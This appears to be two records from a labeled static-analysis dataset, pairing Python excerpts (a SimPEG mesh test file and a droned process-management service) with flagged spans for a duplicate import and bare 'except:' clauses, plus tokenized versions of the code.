simpeg/simpeg/tests/mesh/test_interpolation.py
[ { "content": "import numpy as np\nimport unittest\nfrom SimPEG.Utils import mkvc\nfrom SimPEG import Mesh, Tests\nimport unittest\n\n\nMESHTYPES = ['uniformTensorMesh', 'randomTensorMesh']\nTOLERANCES = [0.9, 0.5, 0.5]\ncall1 = lambda fun, xyz: fun(xyz)\ncall2 = lambda fun, xyz: fun(xyz[:, 0], xyz[:, -1])\ncall3 = lambda fun, xyz: fun(xyz[:, 0], xyz[:, 1], xyz[:, 2])\ncart_row2 = lambda g, xfun, yfun: np.c_[call2(xfun, g), call2(yfun, g)]\ncart_row3 = lambda g, xfun, yfun, zfun: np.c_[call3(xfun, g), call3(yfun, g), call3(zfun, g)]\ncartF2 = lambda M, fx, fy: np.vstack((cart_row2(M.gridFx, fx, fy), cart_row2(M.gridFy, fx, fy)))\ncartF2Cyl = lambda M, fx, fy: np.vstack((cart_row2(M.gridFx, fx, fy), cart_row2(M.gridFz, fx, fy)))\ncartE2 = lambda M, ex, ey: np.vstack((cart_row2(M.gridEx, ex, ey), cart_row2(M.gridEy, ex, ey)))\ncartE2Cyl = lambda M, ex, ey: cart_row2(M.gridEy, ex, ey)\ncartF3 = lambda M, fx, fy, fz: np.vstack((cart_row3(M.gridFx, fx, fy, fz), cart_row3(M.gridFy, fx, fy, fz), cart_row3(M.gridFz, fx, fy, fz)))\ncartE3 = lambda M, ex, ey, ez: np.vstack((cart_row3(M.gridEx, ex, ey, ez), cart_row3(M.gridEy, ex, ey, ez), cart_row3(M.gridEz, ex, ey, ez)))\n\nTOL = 1e-7\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n unittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import unittest", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 15 } ]
[ { "span": "import unittest", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 } ]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "more_", "than_", "once_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Sim", "PE", "G_", "._", "Utils_", "import_", "mkv", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Sim", "PE", "G_", "import_", "Mesh_", ",_", "Tests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "MESH", "TYPES_", "=_", "[_", "'", "uniform", "Tensor", "Mesh", "'_", ",_", "'", "random", "Tensor", "Mesh", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TOL", "ERA", "NCE", "S_", "=_", "[_", "0.9_", ",_", "0.5_", ",_", "0.5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "1_", "=_", "lambda_", "fun_", ",_", "xyz_", ":_", "fun_", "(_", "xyz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "2_", "=_", "lambda_", "fun_", ",_", "xyz_", ":_", "fun_", "(_", "xyz_", "[_", ":_", ",_", "0_", "]_", ",_", "xyz_", "[_", ":_", ",_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "3_", "=_", "lambda_", "fun_", ",_", "xyz_", ":_", "fun_", "(_", "xyz_", "[_", ":_", ",_", "0_", "]_", ",_", "xyz_", "[_", ":_", ",_", "1_", "]_", ",_", "xyz_", "[_", ":_", ",_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cart", "\\u", "row2", "_", "=_", "lambda_", "g_", ",_", "xf", "un_", ",_", "yf", "un_", ":_", "np_", "._", "c\\u", "_", "[_", "call", "2_", "(_", "xf", "un_", ",_", "g_", ")_", ",_", "call", "2_", "(_", "yf", "un_", ",_", "g_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cart", "\\u", "row", "3_", "=_", "lambda_", "g_", ",_", "xf", "un_", ",_", "yf", "un_", ",_", "zf", "un_", ":_", "np_", "._", "c\\u", "_", "[_", "call", "3_", "(_", "xf", "un_", ",_", "g_", ")_", ",_", "call", "3_", "(_", "yf", "un_", ",_", "g_", ")_", ",_", "call", "3_", "(_", "zf", "un_", ",_", "g_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cart", "F2_", "=_", "lambda_", "M_", ",_", "fx_", ",_", "fy_", ":_", "np_", "._", "vstack_", "(_", "(_", "cart", "\\u", "row2", "_", "(_", "M_", "._", "grid", "Fx", "_", ",_", "fx_", ",_", "fy_", ")_", ",_", "cart", "\\u", "row2", "_", "(_", "M_", "._", "grid", "Fy", "_", ",_", "fx_", ",_", "fy_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cart", "F2", "Cy", "l_", "=_", "lambda_", "M_", ",_", "fx_", ",_", "fy_", ":_", "np_", "._", "vstack_", "(_", "(_", "cart", "\\u", "row2", "_", "(_", "M_", "._", "grid", "Fx", "_", ",_", "fx_", ",_", "fy_", ")_", ",_", "cart", "\\u", "row2", "_", "(_", "M_", "._", "grid", "F", "z_", ",_", "fx_", ",_", "fy_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cart", "E2_", "=_", "lambda_", "M_", ",_", "ex_", ",_", "ey_", ":_", "np_", "._", "vstack_", "(_", "(_", "cart", "\\u", "row2", "_", "(_", "M_", "._", "grid", "Ex_", ",_", "ex_", ",_", "ey_", ")_", ",_", "cart", "\\u", "row2", "_", "(_", "M_", "._", "grid", "Ey", "_", ",_", "ex_", ",_", "ey_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cart", "E2", "Cy", "l_", "=_", "lambda_", "M_", ",_", "ex_", ",_", "ey_", ":_", "cart", "\\u", "row2", "_", "(_", "M_", "._", "grid", "Ey", "_", ",_", "ex_", ",_", "ey_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cart", "F3", "_", "=_", "lambda_", "M_", ",_", "fx_", ",_", "fy_", ",_", "fz", "_", ":_", "np_", "._", "vstack_", "(_", "(_", "cart", "\\u", "row", "3_", "(_", "M_", "._", "grid", "Fx", "_", ",_", "fx_", ",_", "fy_", ",_", "fz", "_", ")_", ",_", "cart", "\\u", "row", "3_", "(_", "M_", "._", "grid", "Fy", "_", ",_", "fx_", ",_", "fy_", ",_", "fz", "_", ")_", ",_", "cart", "\\u", "row", "3_", "(_", "M_", "._", "grid", "F", "z_", ",_", "fx_", ",_", "fy_", ",_", "fz", "_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cart", "E3_", "=_", "lambda_", "M_", ",_", "ex_", ",_", "ey_", ",_", "ez", "_", ":_", "np_", "._", "vstack_", "(_", "(_", "cart", "\\u", "row", "3_", "(_", "M_", "._", "grid", "Ex_", ",_", "ex_", ",_", "ey_", ",_", "ez", "_", ")_", ",_", "cart", "\\u", "row", "3_", "(_", "M_", "._", "grid", "Ey", "_", ",_", "ex_", ",_", "ey_", ",_", "ez", "_", ")_", ",_", "cart", "\\u", "row", "3_", "(_", "M_", "._", "grid", "Ez", "_", ",_", "ex_", ",_", "ey_", ",_", "ez", "_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "TOL", "_", "=_", "1e-", "7_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "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Worldwide/droned/droned/services/application.py
[ { "content": " def startService(self):\n \"\"\"Start All AppManager Services\"\"\"\n if self.scanning.called: #need to pre-populate values\n self.scanning = defer.maybeDeferred(self._first_scan)\n self.first_run = True\n self._task = task.LoopingCall(self.scan_app_instances)\n\n #plugins will be created and loaded when needed\n for shortname in config.APPLICATIONS.keys():\n manager = None\n try:\n applog = logWithContext(type=shortname,route=SERVICENAME)\n applog('Loading Application Plugin')\n applog('Creating Application Manager')\n manager = AppManager(shortname)\n manager.parentService = self\n #check and see if the model is bound\n if not AppManager(shortname).running:\n applog('Starting Application Manager')\n manager.start()\n except:\n failure = Failure()\n #bad plugin, not adaptable\n failures = (InvalidPlugin, TypeError)\n if failure.check(*failures) and manager:\n log('plugin for %s is invalid' % (manager.name,))\n manager.action.__class__.delete(manager.action)\n try: pluginFactory.delete_plugin(manager.model)\n except: pass #silence\n AppManager.delete(manager)\n if not config.EXCESSIVE_LOGGING: continue #avoid extra logging\n try: failure.raiseException()\n except: crashReport('ApplicationLoader', self)\n Service.startService(self)\n Event('instance-started').subscribe(self.reset_tracking)\n #wire allapps action into the server\n drone.builtins.update({\n 'allapps': self.allapps_action,\n 'applist': self.applist_action,\n })\n #delay scanning by some interval\n config.reactor.callLater(SERVICECONFIG.initial_delay, self._start_all_tasks)", "metadata": "root.ApplicationLoader.startService", "header": "['class', 'ApplicationLoader', '(', 'Service', ')', ':', '___EOS___']", "index": 60 }, { "content": " def reset_tracking(self, occurrence):\n \"\"\"reset tracking criteria when an instance starts\"\"\"\n try: self.tracking.discard(occurrence.instance)\n except: pass", "metadata": "root.ApplicationLoader.reset_tracking", "header": "['class', 'ApplicationLoader', '(', 'Service', ')', ':', '___EOS___']", "index": 120 }, { "content": " @defer.deferredGenerator\n def _scan(self):\n for pid in listProcesses():\n try: AppProcess(Server(config.HOSTNAME), pid)\n except InvalidProcess: pass\n except IOError: pass #happens on linux when a pid dies\n except: err('process table scanning error')\n #scan for crashed instances\n for app in App.objects:\n if not app.__class__.isValid(app): continue\n for ai in app.localappinstances:\n if not ai.__class__.isValid(ai): continue\n if ai in self.tracking: continue\n if not self.first_run: #avoid process table races\n self.tracking.add(ai)\n config.reactor.callLater(SERVICECONFIG.recovery_period,\n self.tracking.discard, ai\n )\n if not ai.enabled: continue #skip disabled\n result = None\n if ai.running and not ai.shouldBeRunning:\n ai.shouldBeRunning = True\n if ai.running: continue\n manager = AppManager(ai.app.name)\n if not manager.running:\n continue #skip managers that are not running\n if not manager.discover:\n continue #app manager claims to be ok\n #look for processes that we can assimilate\n d = manager.model.findProcesses()\n wfd = defer.waitForDeferred(d)\n yield wfd\n for (pid, result) in wfd.getResult():\n d = manager.model.assimilateProcess(result)\n wfd2 = defer.waitForDeferred(d)\n yield wfd2\n ai2 = wfd2.getResult()\n if ai2 and isinstance(ai2, AppInstance) and ai2 is ai:\n Event('instance-found').fire(instance=ai)\n manager.log('Sucessfully assimilated PID %d' % ai2.pid)\n if ai.running: continue #may have assimilated the app\n if not ai.crashed: continue\n if not ai.enabled: continue #disabled instances are not actionable\n if self.first_run: continue #avoid process table races\n Event('instance-crashed').fire(instance=ai)\n #cool off on eventing for a little while\n #keep the process objects up to date\n for process in AppProcess.objects:\n try:\n if not process.localInstall: continue\n if not process.running:\n AppProcess.delete(process)\n except:\n err('process book keeping error')\n d = defer.Deferred()\n config.reactor.callLater(0.01, d.callback, None)\n wfd = defer.waitForDeferred(d)\n yield wfd\n wfd.getResult()\n self.first_run = False\n yield 'done'", "metadata": "root.ApplicationLoader._scan", "header": "['class', 'ApplicationLoader', '(', 'Service', ')', ':', '___EOS___']", "index": 126 }, { "content": " @defer.deferredGenerator\n def allapps_action(self, argstr):\n \"\"\"Usage allapps: <method> [args]\n\n dispatch the same command to all application managers.\n\n <method>\tmethod to invoke on all appmanagers.\n [args]\toptional arguments to pass along.\n\n examples:\n\n '' #shows help documentation for all applications\n 'status' #invoke status assumes there is only one instance\n 'status all' #invoke status on all application instances\n 'status 0' #invoke status on application instance label '0'\n\n full cli usage:\n\n $ droneblaster allapps\n $ droneblaster allapps status\n $ droneblaster allapps status all\n $ droneblaster allapps status 0\n\"\"\"\n result = {}\n descriptions = []\n code = 0\n for obj in AppManager.objects:\n try:\n action = obj.action\n if not action: continue #skip \n d = action(argstr) #let the AdminAction Processes this\n wfd = defer.waitForDeferred(d)\n yield wfd\n foo = wfd.getResult()\n descriptions.append(foo.get('description','None'))\n code += int(foo.get('code', 0))\n except: pass\n result['description'] = '\\n'.join(descriptions)\n if not result['description']:\n result['description'] = 'None'\n result['code'] = code\n yield result", "metadata": "root.ApplicationLoader.allapps_action", "header": "['class', 'ApplicationLoader', '(', 'Service', ')', ':', '___EOS___']", "index": 205 } ]
[ { "span": "except:", "start_line": 80, "start_column": 11, "end_line": 80, "end_column": 18 }, { "span": "except: ", "start_line": 88, "start_column": 19, "end_line": 88, "end_column": 26 }, { "span": "except: ", "start_line": 92, "start_column": 15, "end_line": 92, "end_column": 22 }, { "span": "except: ", "start_line": 123, "start_column": 7, "end_line": 123, "end_column": 14 }, { "span": "except: ", "start_line": 132, "start_column": 11, "end_line": 132, "end_column": 18 }, { "span": "except:", "start_line": 178, "start_column": 11, "end_line": 178, "end_column": 18 }, { "span": "except: ", "start_line": 241, "start_column": 11, "end_line": 241, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Applica", "tion", "Loader_", "(_", "Service_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "Service_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Start", " ", "All", " ", "App", "Manager", " ", "Service", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "scanning", "_", "._", "called_", ":_", "#", "need", " ", "to", " ", "pre", "-", "populate", " ", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "scanning", "_", "=_", "defer_", "._", "may", "be", "Deferred_", "(_", "self_", "._", "\\u", "first", "\\u", "scan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "first", "\\u", "run_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "task_", "=_", "task_", "._", "Loop", "ing", "Call_", "(_", "self_", "._", "scan", "\\u", "app", "\\u", "instances_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "plugin", "s", " ", "will", " ", "be", " ", "created", " ", "and", " ", "load", "ed", " ", "whe", "n", " ", "needed_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "shortname_", "in_", "config_", "._", "APPLICATION", "S_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "manager_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "appl", "og_", "=_", "log", "With", "Context_", "(_", "type_", "=_", "shortname_", ",_", "route_", "=_", "SERV", "ICE", "NAME_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "og_", "(_", "'", "Load", "ing", " ", "Applica", "tion", " ", "Plug", "in", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appl", "og_", "(_", "'", "Creat", "ing", " ", "Applica", "tion", " ", "Manager", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manager_", "=_", "App", "Manager_", "(_", "shortname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manager_", "._", "parent", "Service_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "check", " ", "and", " ", "see", " ", "if", " ", "the", " ", "model", " ", "is", " ", "bound_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "App", "Manager_", "(_", "shortname_", ")_", "._", "running_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "appl", "og_", "(_", "'", "Start", "ing", " ", "Applica", "tion", " ", "Manager", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manager_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "failure_", "=_", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "bad", " ", "plugin", ",", " ", "not", " ", "adapt", "able_", "\\u\\u\\uNL\\u\\u\\u_", "failures_", "=_", "(_", "Inva", "lid", "Plugin_", ",_", "Type", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "failure_", "._", "check_", "(_", "*_", "failures_", ")_", "and_", "manager_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "plugin", " ", "for", " ", "%", "s", " ", "is", " ", "invalid", "'_", "%_", "(_", "manager_", "._", "name_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manager_", "._", "action_", "._", "\\u\\u", "class\\u\\u_", "._", "delete_", "(_", "manager_", "._", "action_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "plugin", "Factory_", "._", "delete", "\\u", "plugin_", "(_", "manager_", "._", "model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "#", "silence", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "App", "Manager_", "._", "delete_", "(_", "manager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "config_", "._", "EXCE", "SSI", "VE", "\\u", "LOGGING_", ":_", "continue_", "#", "avoid", " ", "extra", " ", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "failure_", "._", "raise", "Exception_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "crash", "Report_", "(_", "'", "Applica", "tion", "Load", "er", "'_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Service_", "._", "start", "Service_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Event_", "(_", "'", "instance", "-", "start", "ed", "'_", ")_", "._", "subscribe_", "(_", "self_", "._", "reset", "\\u", "tracking_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "wire", " ", "alla", "pps", " ", "action", " ", "int", "o", " ", "the", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "drone", "_", "._", "builtins_", "._", "update_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "alla", "pps", "'_", ":_", "self_", "._", "alla", "pps", "\\u", "action_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "appli", "st", "'_", ":_", "self_", "._", "appli", "st", "\\u", "action_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "dela", "y", " ", "scanning", " ", "by", " ", "some", " ", "interval_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "._", "reactor_", "._", "call", "Later_", "(_", "SERV", "ICE", "CONFIG_", "._", "initial", "\\u", "delay_", ",_", "self_", "._", "\\u", "start", "\\u", "all", "\\u", "tasks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Applica", "tion", "Loader_", "(_", "Service_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reset", "\\u", "tracking_", "(_", "self_", ",_", "occurrence", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "reset", " ", "track", "ing", " ", "crite", "ria", " ", "whe", "n", " ", "an", " ", "instance", " ", "starts", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "self_", "._", "tracking_", "._", "discard_", "(_", "occurrence", "_", "._", "instance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Applica", "tion", "Loader_", "(_", "Service_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "defer_", "._", "defer", "red", "Generator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "scan_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "pid_", "in_", "list", "Processe", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "App", "Process_", "(_", "Server_", "(_", "config_", "._", "HOSTNAME", "_", ")_", ",_", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Inva", "lid", "Process_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "IO", "Error_", ":_", "pass_", "#", "happ", "ens", " ", "on", " ", "linux", " ", "whe", "n", " ", "a", " ", "pid", " ", "die", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "err_", "(_", "'", "process", " ", "table", " ", "scanning", " ", "error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "scan", " ", "for", " ", "crash", "ed", " ", "instances_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "app_", "in_", "App_", "._", "objects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "app_", "._", "\\u\\u", "class\\u\\u_", "._", "is", "Valid_", "(_", "app_", ")_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ai_", "in_", "app_", "._", "local", "appin", "stance", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "ai_", "._", "\\u\\u", "class\\u\\u_", "._", "is", "Valid_", "(_", "ai_", ")_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ai_", "in_", "self_", "._", "tracking_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "first", "\\u", "run_", ":_", "#", "avoid", " ", "process", " ", "table", " ", "race", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tracking_", "._", "add_", "(_", "ai_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "._", "reactor_", "._", "call", "Later_", "(_", "SERV", "ICE", "CONFIG_", "._", "recover", "y", "\\u", "period_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "tracking_", "._", "discard_", ",_", "ai_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "ai_", "._", "enabled_", ":_", "continue_", "#", "skip", " ", "disabled_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ai_", "._", "running_", "and_", "not_", "ai_", "._", "shou", "ld", "Be", "Running_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ai_", "._", "shou", "ld", "Be", "Running_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ai_", "._", "running_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manager_", "=_", "App", "Manager_", "(_", "ai_", "._", "app_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "manager_", "._", "running_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "#", "skip", " ", "manage", "rs", " ", "tha", "t", " ", "are", " ", "not", " ", "running_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "manager_", "._", "discover_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "#", "app", " ", "manage", "r", " ", "claim", "s", " ", "to", " ", "be", " ", "ok_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "look", " ", "for", " ", "process", "es", " ", "tha", "t", " ", "we", " ", "can", " ", "assi", "mil", "ate_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "d_", "=_", "manager_", "._", "model_", "._", "find", "Processe", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wf", "d_", "=_", "defer_", "._", "wait", "For", "Deferred_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "wf", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "pid_", ",_", "result_", ")_", "in_", "wf", "d_", "._", "get", "Result_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "manager_", "._", "model_", "._", "assi", "mil", "ate", "Process_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wf", "d2_", "=_", "defer_", "._", "wait", "For", "Deferred_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "wf", "d2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ai", "2_", "=_", "wf", "d2_", "._", "get", "Result_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ai", "2_", "and_", "isinstance_", "(_", "ai", "2_", ",_", "App", "Instance_", ")_", "and_", "ai", "2_", "is_", "ai_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "Event_", "(_", "'", "instance", "-", "found", "'_", ")_", "._", "fire_", "(_", "instance_", "=_", "ai_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manager_", "._", "log_", "(_", "'", "Suc", "ess", "full", "y", " ", "assi", "mil", "ated", " ", "PID", " ", "%", "d", "'_", "%_", "ai", "2_", "._", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ai_", "._", "running_", ":_", "continue_", "#", "may", " ", "have", " ", "assi", "mil", "ated", " ", "the", " ", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "ai_", "._", "crash", "ed_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "ai_", "._", "enabled_", ":_", "continue_", "#", "disable", "d", " ", "instance", "s", " ", "are", " ", "not", " ", "action", "able_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "first", "\\u", "run_", ":_", "continue_", "#", "avoid", " ", "process", " ", "table", " ", "race", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Event_", "(_", "'", "instance", "-", "crash", "ed", "'_", ")_", "._", "fire_", "(_", "instance_", "=_", "ai_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "cool", " ", "off", " ", "on", " ", "eventi", "ng", " ", "for", " ", "a", " ", "litt", "le", " ", "while_", "\\u\\u\\uNL\\u\\u\\u_", "#", "keep", " ", "the", " ", "process", " ", "object", "s", " ", "up", " ", "to", " ", "date_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", 